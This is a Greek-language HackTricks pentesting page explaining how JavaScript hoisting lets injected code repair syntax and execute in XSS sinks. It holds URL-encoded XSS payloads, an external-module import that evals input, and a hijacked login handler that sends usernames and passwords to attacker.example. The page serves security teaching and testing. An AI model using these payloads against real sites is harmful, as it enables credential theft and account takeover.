JS Hoisting

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Στη γλώσσα JavaScript, υπάρχει ένας μηχανισμός γνωστός ως Hoisting όπου οι δηλώσεις μεταβλητών, συναρτήσεων, κλάσεων ή imports θεωρητικά μεταφέρονται στην κορυφή του scope τους πριν εκτελεστεί ο κώδικας. Αυτή η διαδικασία εκτελείται αυτόματα από τη JavaScript engine, η οποία διαπερνά το script σε πολλαπλές διελεύσεις.

Κατά την πρώτη διελύνση, η engine αναλύει (parses) τον κώδικα για να ελέγξει για syntax errors και τον μετασχηματίζει σε ένα αφηρημένο συντακτικό δέντρο (abstract syntax tree). Αυτή η φάση περιλαμβάνει το hoisting, μια διαδικασία όπου ορισμένες δηλώσεις μετακινούνται στην κορυφή του execution context. Εάν η φάση parsing ολοκληρωθεί με επιτυχία, δηλαδή δεν υπάρχουν syntax errors, τότε προχωρά η εκτέλεση του script.

Είναι κρίσιμο να κατανοήσετε ότι:

  1. Το script πρέπει να είναι απαλλαγμένο από syntax errors για να γίνει εκτέλεση. Οι κανόνες σύνταξης πρέπει να τηρούνται αυστηρά.
  2. Η τοποθέτηση του κώδικα μέσα στο script επηρεάζει την εκτέλεση λόγω του hoisting, αν και ο εκτελούμενος κώδικας μπορεί να διαφέρει από την κειμενική του αναπαράσταση.

Τύποι Hoisting

Βάσει των πληροφοριών από MDN, υπάρχουν τέσσερις διακριτοί τύποι hoisting στη JavaScript:

  1. Value Hoisting: Επιτρέπει τη χρήση της τιμής μιας μεταβλητής μέσα στο scope της πριν από τη γραμμή δήλωσής της.
  2. Declaration Hoisting: Επιτρέπει την αναφορά σε μια μεταβλητή μέσα στο scope της πριν από τη δήλωσή της χωρίς να προκαλεί ReferenceError, αλλά η τιμή της μεταβλητής θα είναι undefined.
  3. Αυτός ο τύπος αλλάζει τη συμπεριφορά μέσα στο scope λόγω της δήλωσης της μεταβλητής πριν από την πραγματική γραμμή δήλωσής της.
  4. Οι παρενέργειες της δήλωσης συμβαίνουν πριν αξιολογηθεί το υπόλοιπο του κώδικα που την περιέχει.

Συγκεκριμένα, οι δηλώσεις συναρτήσεων παρουσιάζουν συμπεριφορά hoisting τύπου 1. Η λέξη-κλειδί var επιδεικνύει συμπεριφορά τύπου 2. Οι λεξικές δηλώσεις, που περιλαμβάνουν let, const και class, εμφανίζουν συμπεριφορά τύπου 3. Τέλος, οι δηλώσεις import είναι μοναδικές, καθώς ανυψώνονται με συμπεριφορές τύπου 1 και τύπου 4.

Σενάρια

Επομένως, αν σε κάποιο σενάριο μπορείτε να Inject JS code after an undeclared object, μπορείτε να fix the syntax δηλώνοντας το (ώστε ο κώδικάς σας να εκτελεστεί αντί να προκαλέσει σφάλμα):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Περισσότερα Σενάρια

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Hoisting για παράκαμψη του χειρισμού εξαιρέσεων

Όταν ο sink είναι περιτυλιγμένος σε try { x.y(...) } catch { ... }, ReferenceError θα σταματήσει την εκτέλεση πριν τρέξει το payload. Μπορείτε να προ-δηλώσετε τον ελλείποντα identifier ώστε η κλήση να επιβιώσει και η injected expression να εκτελεστεί πρώτη:

// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)

// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //

function x(){} ανυψώνεται πριν την αξιολόγηση, έτσι ο parser δεν πετάει πλέον σφάλμα στο x.y(...); το prompt() εκτελείται πριν το y επιλυθεί, και μετά πετιέται ένα TypeError αφού ο κώδικάς σας έχει εκτελεστεί.

Προλάβετε μετέπειτα δηλώσεις κλειδώνοντας ένα όνομα με const

Αν μπορείτε να εκτελεστείτε πριν ένα top-level function foo(){...} αναλυθεί, η δήλωση ενός lexical binding με το ίδιο όνομα (π.χ., const foo = ...) θα αποτρέψει την αργότερη function declaration από το να επαναδεσμεύσει αυτόν τον identifier. Αυτό μπορεί να καταχραστεί σε RXSS για να αρπάξει κρίσιμους handlers που ορίζονται αργότερα στη σελίδα:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Σημειώσεις

  • Αυτό βασίζεται στη σειρά εκτέλεσης και στο global (top-level) scope.
  • Εάν το payload σας εκτελείται μέσα σε eval(), θυμηθείτε ότι τα const/let μέσα σε eval είναι block-scoped και δεν θα δημιουργήσουν global bindings. Εισάγετε ένα νέο στοιχείο <script> με τον κώδικα για να δημιουργήσετε ένα πραγματικό global const.

Δυναμικό import() με specifiers ελεγχόμενους από τον χρήστη

Οι εφαρμογές server-side rendered μερικές φορές προωθούν την είσοδο του χρήστη στο import() για lazy-load components. Αν υπάρχει ένας loader όπως ο import-in-the-middle, δημιουργούνται wrapper modules από τον specifier. Hoisted import evaluation κάνει fetch και εκτελεί το attacker-controlled module πριν τρέξουν οι επόμενες γραμμές, επιτρέποντας RCE σε SSR contexts (βλ. CVE-2023-38704).

Εργαλεία

Οι σύγχρονοι scanners άρχισαν να προσθέτουν explicit hoisting payloads. KNOXSS v3.6.5 αναφέρει τις δοκιμές “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” και “Hoisting Override”; η εκτέλεσή του ενάντια σε RXSS contexts που πετούν ReferenceError/TypeError αποκαλύπτει γρήγορα υποψήφιους hoist-based gadget candidates.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks